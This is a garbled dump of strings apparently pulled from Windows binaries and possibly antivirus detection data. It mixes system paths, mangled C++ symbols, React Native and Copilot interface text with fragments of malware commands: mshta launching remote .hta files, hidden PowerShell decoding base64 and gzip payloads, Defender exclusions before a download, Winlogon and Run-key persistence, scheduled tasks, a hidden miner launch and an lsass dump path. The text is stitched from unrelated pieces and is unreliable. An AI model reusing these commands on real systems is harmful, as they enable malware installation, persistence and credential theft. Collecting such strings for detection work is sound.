%system32%\dxpserver.exe;%system32%\fondue.exe;%system32%\mdmappinstaller.exe;%system32%\msiexec.exe;%system32%\optionalfeatures.exe;%system32%\packageinspector.exe
%system32%\charmap.exe;%system32%\mspaint.exe;%system32%\searchindexer.exe;%system32%\searchprotocolhost.exe
%system32%\gamepanel.exe;%system32%\psr.exe;%system32%\rmactivate.exe;%system32%\rmactivate_isv.exe;%system32%\snippingtool.exe
%system32%\credwiz.exe;%system32%\ctfmon.exe
%system32%\conhost.exe;%system32%\filehistory.exe;%system32%\mstsc.exe;%system32%\wordpad.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\microsoft\edgewebview\application\%version%\msedgewebview2.exe;%programfiles%\microsoft office\root\office%version%\mspub.exe
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.ComponentEnergyLib
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsGetStringLen
WindowsCreateStringReference
WindowsRuntimeAssemblyName, ContentType=WindowsRuntime
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
VersionWindowState
Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-typescrollToIndex should be used in conjunction with getItemLayout or onScrollToIndexFailed, otherwise there is no way to know the location of offscreen indices or handle failures.borderStartWidthandleCancelLinkClickfmOnboarding/launchChooseFolderDialogetDerivedStateFromErrorelativePathandleSkipBackupdateCallbackfmOnboardingM365BasicHeaderTextitleFrame_triggerRemeasureForChildListsInCellRenderMask must contain a non-negative number os cellsAroundViewport1hasExpanderemoveManyInCellRenderMask.addCells called with invalid cell rangenModuleforEachInCellRendererComponentriedcreateFiberFromTextractFillightsalmonolineCopilotDialog.VisualStateChangedColor_LinkfmBackupButtonPictureInPictureStatusChangedHigh Contrast EnabledefaultTaboutDialogVersionLabelanguageChanging numColumns on the fly is not supported. Change the key prop on FlatList when changing the number of columns to force a fresh render of the component.Changing onViewableItemsChanged on the fly is not supportedOrientationsubheaderStandardChanging viewabilityConfig on the fly is not supportedarkGreeneutralForeground4Changing viewabilityConfigCallbackPairs on the fly is not supportedarkOranget PopupdateAnimationEnabled_checkPropselectPreviousFolderColor.VisualStateChangedefaultSrctCheckBoxWithReferrer-PolicyanBlue10_deleteChild was not found in either parent set. This indicates a bug in React related to the return pointer. Please file an issue.acmDismissIcontactingSupportLinkfmExpressOptinBtnChoose FoldersendFrownOrSmileClickedcreateReactNativeComponentClass extends value borderBottomWidthandleButtonOneClick the button to send a request to the C++ Router.handleTaskDialogButtonClickAsyncStatusBadgeCloudImportSettingEntryClicked__asyncGeneratorSteparse255WHATWGFetchooseRootFolderImaget Clipboard has been extracted from react-native core and will be removed in a future release. It can now be installed and imported from '@react-native-clipboard/clipboard' instead of 'react-native'. See https://github.com/react-native-clipboard/clipboard-movedisabledTextColoreadIntBEhttp://localhost:9001/sync/RNExitDialog/handleCloselectVaultStateCommonSpinnerRemovedarkPurpleCommonSpinnerRendered fewer hooks than expected. This may be caused by an accidental early return statement.makeStringetCachedComponentWithDisplayNametroRequiredDiagnosticDataPaget NativeAppEventEmitterequiredDiagnosticDataSecondaryinitializeConnectFunction expected ]]>_freeCallbackendConnectorotate(38.78 -.98 4.222)scale(16.961 14.0813)ConsolastAcmActionoCentroidCreating blobs from 'ArrayBuffer' and 'ArrayBufferView' are not supportedarkThemeCreating or removing a listener requires one of the known fields for matching an actionCreatorotate(168.503 195.375 156.582)scale(30.104 20.8963)_startTimeStampostal-address-extended-postal-codefineCustomEventTarget AccessibilityInfolderColorDarkPinkfmMoveHeaderTitle_handleTouchCancelinkTextColoresetViewableIndicespringDamping value must be greater than 0isDatePicker has been extracted and removed from react-native-windows. It can now be installed and imported as DateTimePicker from '@react-native-community/datetimepicker'. See https://github.com/react-native-datetimepicker/datetimepickerItemailHrdShowErrorLearnMoreClickedmarginVerticalculateBarWidthandleDialogClosedummyDatePickerIOS-mergedata-figma-bg-blur-radius120groupPolicyIconWrapperemoveIndexplainImaget DayOfWeeklyFollowUpQuotaToastylistic-fifteenhancersetLastAcmSource_interopRequireDefaultExperienceadditional-name-middle-initialNumToRenderOrDefaultSurveyQuestionExperiencepaperComponentNameDeprecatedStyleSheetPropTypeachpuffreMarketingAdminDisabledPersonalErroreportABugSubmitBugFailureact.lazy__setPlatformConfiget deepFreezeAndThrowOnMutationInDeviceEventManagerrorViewHomeTooltiparseFormatStranslate(-1.41 -3)_dispatchPressedStateChanget NativeDialogManagerAndroidisplayKFMOptOutSurveyViewarningQuotaBackgroundColorRKFMDoneTitleftNavault/on_next_button_clickedbuttonWidthandleColorChanget DrawerLayoutAndroidPatternsettingsUnavailableDueToPolicyan
.?AVWindowsAclHelper@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@U?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@234@@@YAJPEAU?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
WindowsCreateStringReference
WindowsGetStringRawBuffer
Microsoft.Windows.ProfExt
Microsoft-Windows-AppModel-Runtime
"Windows"
Windows
content-type: ClipboardSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folderstime: %04d%02
GetWindowSized
HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\
HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
windowsty
Converter: Windows Type 1 Installer
Microsoft.Windows.Firewall.API
Microsoft.Windows.TlgAggregateInternal
ir%\system32\eT
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
system32\mshta.exehttps://kwalityproducts.com/bootstrap/jquery/files/ntgallery/
~windows\system32\cmd.exe/coverstep\mixup.cmdregsc:\windows\system32\shell32.dll
3c:\windows\system32\mshta.exehttps://mogilux.com.br/wp-admin/tmp/huspecific.hta
/start-process$miner_path-windowstylehidden
//sig//beginsignatureblockvarj=newactivexobject("windowsinstaller.installer");
recvdecodeprintsoundplay)client_socketmessageswindows
GetDiskFreeSpaceEx %u path %ws windowsPath %ws  attrib %u
GetWindowsDirectory %u path %ws WinPathLen %u attrib %u
s\system32\rundll32.exes3negarc
FwHResultToWindowsError
SystemRuntimeWindowsRuntime
cacls.exe c:\/search?hl=en&q\system32\svchost.exe -k
\windows\currentversion\run /v 
LOAD_LIBRARY_SEARCH_SYSTEM32
^]Iterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Found
uap\windows\frameworkudk\warppal.cppA
 /c reg add "hklm\software\microsoft\windows nt\currentversion\winlogon" /v userinit /t reg_sz /d "userinit.exe","\"c:\\
  /c reg add "hklm\software\microsoft\windows nt\currentversion\winlogon" /v userinit /t reg_sz /d "userinit.exe","\"c:\\
@shift/0@echooff%windir%\syswow64\windowspowershell\v1.0\powershell.exe-noprofile-noni-whidden-execbypass-command"invoke-expression$(new-objectio.streamreader($(new-objectio.compression.deflatestream($(new-objectio.memorystream(,$([convert]::frombase64string(\"
if([intptr]::size-eq4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\windowspowershell\v1.0\powershell.exe'};$s=new-objectsystem.diagnostics.processstartinfo;$s.filename=$b;$s.arguments='-nop-whidden-c&([scriptblock]::create((new-objectio.streamreader(new-objectio.compression.gzipstream((new-objectio.memorystream(,[convert]::frombase64string(''h4sia
WindowsOnlyCultures
sc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddeniex$(get-content
%Microsoft Windows Production PCA 2011
_WINDOWS_BOOTMGRw
)}"shell32.dll%systemroot%\system32\cmd.exe%systemroot%\system32\cmd.exe%wn]nd.q`xjohn-gen}'wjd>3b|.2'n,}'wjd>3b|.2'n,1spsxfl8c&mm.s-1-5-21-1499925678-132529631-3571256938-1001
add-mppreference-exclusionpath$env:userprofileadd-mppreference-exclusionpathc:\windows$url="https://github.com/naruto3213213/111/raw/refs/heads/main/
Microsoft.Windows.Midi2.VirtualMidiTransport
the Windows
Microsoft.Windows.DynamicLightingToastHandler
Microsoft.Windows.InputSwitchToastHandler
Microsoft.Windows.OfflineFiles
??$handleExposeEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRegion@@@Z
??$handleExposeEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRegion@@@Z
??$handleExposeEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRegion@@@Z
??$handleGeometryChange@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRect@@@Z
??$handleGeometryChange@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRect@@@Z
??$handleGeometryChange@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQRect@@@Z
??$handleKeyEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KW4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleKeyEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@W4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleKeyEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KW4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleKeyEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@W4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleKeyEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KW4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleKeyEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@W4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@AEBVQString@@_NG@Z
??$handleLeaveEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleLeaveEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleLeaveEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleMouseEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
??$handleMouseEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleMouseEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
??$handleMouseEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleMouseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
??$handleMouseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleMouseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
??$handleMouseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
??$handleMouseEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4Keyboard
@P80123@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUSettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AV<lambda_259_>@?0???$?0UHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@QEAA@PEAUHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P86785@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@
.?AU?$delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_259_>@?0???$?0UHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AV<lambda_256_>@?0???$?0UXamlBindingTrackingBase@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUIInspectable@Foundation@Windows@3@AEBUPropertyChangedEventArgs@Data@Xaml@UI@63@@Z@PropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@QEAA@PEAUXamlBindingTrackingBase@implementation@TaskManagerApp@6@P87896@EAAXAEBUIInspectable@Foundation@56@AEBUPropertyChangedEventArgs@23456@@Z@Z@
.?AU?$delegate@UPropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@V<lambda_256_>@?0???$?0UXamlBindingTrackingBase@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUIInspectable@Foundation@Windows@3@AEBUPropertyChangedEventArgs@Data@Xaml@UI@63@@Z@123456@QEAA@PEAUXamlBindingTrackingBase@implementation@TaskManagerApp@6@P889TaskManagerApp@6@EAAXAEBUIInspectable@Foundation@56@AEBUPropertyChangedEventArgs@23456@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@UPropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@V<lambda_256_>@?0???$?0UXamlBindingTrackingBase@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUIInspectable@Foundation@Windows@3@AEBUPropertyChangedEventArgs@Data@Xaml@UI@63@@Z@123456@QEAA@PEAUXamlBindingTrackingBase@implementation@TaskManagerApp@6@P889TaskManagerApp@6@EAAXAEBUIInspectable@Foundation@56@AEBUPropertyChangedEventArgs@23456@@Z@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_15>@?BA@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_14>@?P@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_15>@?BA@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_15>@?BA@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
WindowsFormsApp2.exe
tive -windowstyle hidden -commandp
Microsoft.Windows.MediaFoundation.CallStack
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.WindowsAppRuntime.Release!1.6.602v
Microsoft.WindowsAppRuntime.Insights.Resource.dllv
Microsoft.WindowsAppRuntime.dllv
Microsoft.Windows.Widgets.winmdv
Microsoft.Windows.Widgets.dllv
Microsoft.Windows.System.winmdv
Microsoft.Windows.System.Power.winmdv
Microsoft.Windows.Storage.winmdv
Microsoft.Windows.Security.AccessControl.winmdv
Microsoft.Windows.PushNotifications.winmdv
Microsoft.Windows.Management.Deployment.winmdv
Microsoft.Windows.Globalization.winmdv
Microsoft.Windows.AppNotifications.winmdv
Microsoft.Windows.AppNotifications.Builder.winmdv
Microsoft.Windows.AppLifecycle.winmdv
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdv
Microsoft.Windows.ApplicationModel.Resources.winmdv
Microsoft.Windows.ApplicationModel.Resources.dllv
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdv
jli_memallocjenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\jdk\objs\jjs_objs\jjs.pdb1.8.0_281-b09!#ALFPER:Trojan:Win32/Beerish.R!dha
cmdkey.pdbmicrosoft.windows.security.cmdkeyext-ms-win-security-credui!#ALF:HackTool:MSIL/ExchangeRead.A!dha
\windows\system32\ime\
2thkcu:software\microsoft\windows\currentversion\run
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
.windowsZ
windowstrustedrtproxy.inf!
software\microsoft\windowsnt\currentversion\svchost
setup.exe\tdzdnyvavv.exesoftware\microsoft\windows
schtasks.exe/tn"\microsoft\windows\wdi\securesync
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\62.60.226.168@80\
!c:\windows\system32\forfiles.exe/pc:\windows/mhelppane.exe/c"powershell.\*i*\*2\msh*ehttps://online-pdf-viewer.com/api/uz/0547131764/daffodil
6c:\windows\system32\cmd.exe/cschtasks/create/scminute/tn
c:\\users\\public\\alpha/cextrac32.exe/c/yc:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exec:\\users\\public\\xkn.exe>nul2>nul&
\system32\synaptics\synaptics.exe
=c:\windows\temp\
appid>windows.immersivecontrolpa
	windows\\s
WindowsCreateString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDuplicateString
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowScrimView
Microsoft.Windows.Shell.CloudExperienceHostClient
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.Shell.OOBEHealth
Microsoft.Windows.Desktop.Shell.CloudExperienceHostSpeech
Microsoft.Windows.Shell.CloudExperienceHostCore
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
WindowsCompareStringOrdinal
c:\windows\temp\!
swindowsr
C:\Users\Alexander\WindowsFormsApp2\obj\Debug\UrssIsKing.pdbC
$@client.wns.windows.com
Windows@
WindowsRuntimeMarshal
C:\WINDOWS\System32\svchost.exe -k utcsvc -p
ComSpec=C:\WINDOWS\system32\cmd.exe
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
DriverData=C:\Windows\System32\Drivers\DriverData
C:\WINDOWS\TEMP\bb3a785178
	WindowsFeedback
WindowScrollTop
\system32\services.exe
\system32\reg.exe
\windows\regedit.exe
\system32\userinit.exe
%windir%\system32\cmd.exe
%windir%\system32\windowspowershell\v1.0\powershell.exe
%windir%\system32\wscript.exe
%windir%\system32\cscript.exe
%windir%\system32\mshta.exe
%windir%\system32\wbem\wmic.exe
%windir%\system32\bitsadmin.exe
%windir%\system32\rundll32.exe
%windir%\system32\svchost.exe
%windir%\system32\reg.exe
%windir%\system32\regsvr32.exe
%windir%\system32\schtasks.exe
 @os=windows; osVer=10.0.26200.7840; lcid=en-US; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
onecoreuap\windows\cdp\afc\core\ActivityAsset.h
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
C:\Windows\SystemApps\microsoft.w
WindowsFormsApp95.Properties
USERDOMAIN_ROAMINGPROFILE=Windows11
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
v#$taskcmd='powershell.exe-executionpolicybypass-windowstylehidden-file"'+$selfpath+'"-fromloader
new-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
em;C:\WINDOWS\
SERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
windir=C:\WINDOWS
windows.hlp
/tr"rundll32.exec:\windows\debug\
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
lsass.exe C:\windows\temp\lsass
M{Beslutningsgangene69\Nonmedullated.iniTemplates\Sculpturesqueness238\Speave48\Backwinding.dllThirdPartyNotices.txtWindows\CurrentVersion\Uninstall\Tetrapoda\Underbitten3CurrentVersion\Uninstall\Klassifikationernes\Rackman\Farvekonverteren%WINDIR%\Fordamper\Skinnebruddenes\Givingly68.Anm!#ALF:Y2V:Florian_Roth/DTools2_02_DTools
ighidh a shealltainn. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot a
 feuchainn ri faclan-faire a shealltainn. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot a
fhaclan-faire. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot a
